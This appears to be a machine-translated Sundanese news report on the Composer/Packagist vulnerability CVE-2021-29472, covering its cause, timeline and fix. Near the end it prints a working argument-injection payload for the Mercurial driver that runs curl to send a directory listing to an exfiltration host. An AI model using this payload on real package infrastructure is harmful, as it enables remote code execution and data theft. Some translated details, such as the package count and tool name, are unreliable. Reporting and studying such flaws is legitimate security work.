Kerentanan dina manajer pakét Komposer anu ngamungkinkeun kompromi tina gudang PHP Packagist

Kerentanan kritis (CVE-2021-29472) parantos diidentifikasi dina manajer kagumantungan komposer anu ngamungkinkeun paréntah sawenang-wenang dieksekusi dina sistem nalika ngolah pakét sareng nilai URL anu diformat khusus anu netepkeun alamat pikeun ngaunduh kode sumber. Masalahna aya dina komponén GitDriver, SvnDriver, sareng HgDriver anu dianggo nalika nganggo sistem kontrol sumber Git, Subversion, sareng Mercurial. Kerentanan ieu direngsekeun dina Kaluaran Komposer 1.10.22 jeung 2.0.13.

Perhatikeun sacara khusus yén masalah éta utamina mangaruhan gudang pakét standar Composer, Packagist, anu ngandung 306 bungkusan pikeun pamekar PHP sareng nyayogikeun langkung ti 1.4 milyar undeuran per bulan. Eksperimen nunjukkeun yén upami aya kanyaho ngeunaan masalahna, panyerang tiasa ngontrol infrastruktur Packagist sareng nyegat kredensial para pangropéa atanapi alihan undeuran pakét ka server pihak katilu, ngatur pangiriman varian pakét kalayan perobahan jahat pikeun ngagentos backdoor. salila prosés instalasi gumantungna.

Bahaya pikeun pangguna akhir dugi ka kanyataan yén eusi composer.json biasana ditangtukeun ku pangguna, sareng tautan sumber dikirimkeun nalika ngaksés repositori pihak katilu, anu biasana tiasa dipercaya. Pukulan utama murag dina gudang Packagist.org sareng jasa Packagist Pribadi, anu disebut Komposer kalayan transfer data anu ditampi ti pangguna. Penyerang tiasa ngaéksekusi kodeu dina server Packagist ku cara nempatkeun pakét anu dirarancang khusus.

Tim Packagist ngalereskeun kerentanan dina 12 jam tina kerentanan dilaporkeun. Panaliti sacara pribadi ngabéjaan pamekar Packagist dina 22 April, sareng masalahna dibenerkeun dina dinten anu sami. Pembaruan umum pikeun Komposer anu ngabahas kerentanan ieu diterbitkeun dina 27 April, kalayan detil diungkabkeun dina 28 April. Pamariksaan log dina server Packagist henteu ngungkabkeun kagiatan anu curiga anu aya hubunganana sareng kerentanan.

Masalahna disababkeun ku bug dina kode validasi URL dina root composer.json file jeung sumber download Tumbu. Kasalahan parantos aya dina kode saprak Nopémber 2011. Packagist ngagunakeun lapisan husus pikeun ngatur kode loading tanpa dihijikeun ka sistem kontrol sumber husus, nu dieksekusi ku nelepon "fromShellCommandline" jeung ngalirkeun argumen baris paréntah. Salaku conto, pikeun git, paréntah "git ls-remote -heads $ URL" disebut, dimana URL diolah nganggo metode "ProcessExecutor:: escape ($ url)", ngémutan konstruksi anu berpotensi bahaya sapertos "$(. ..)" atawa "` ...`".

Inti masalahna nyaeta ProcessExecutor::metoda ngewa teu luput tina "-" runtuyan, nu diwenangkeun sagala parameter panggero tambahan bisa dieusian dina URL. Kabur sapertos kitu leungit dina supir GitDriver.php, SvnDriver.php sareng HgDriver.php. The GitDriver.php serangan ieu hampered ku kanyataan yén "git ls-remote" paréntah teu ngarojong nangtukeun alesan tambahan sanggeus jalur. Serangan dina HgDriver.php tétéla mungkin ku ngalirkeun parameter "--config" kana utilitas "hq", nu ngidinan Anjeun pikeun ngatur palaksanaan sagala paréntah ku manipulasi setelan "alias.identify". Contona, pikeun ngundeur tur ngaéksekusi kode ku ngajalankeun utiliti curl, Anjeun bisa nangtukeun: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Ku ngeposkeun pakét tés sareng URL anu sami sareng Packagist, panalungtik marios yén saatos ngeposkeun, serverna nampi pamundut HTTP ti salah sahiji server Packagist di AWS anu ngandung daptar file dina diréktori ayeuna.

sumber: opennet.ru

Tambahkeun komentar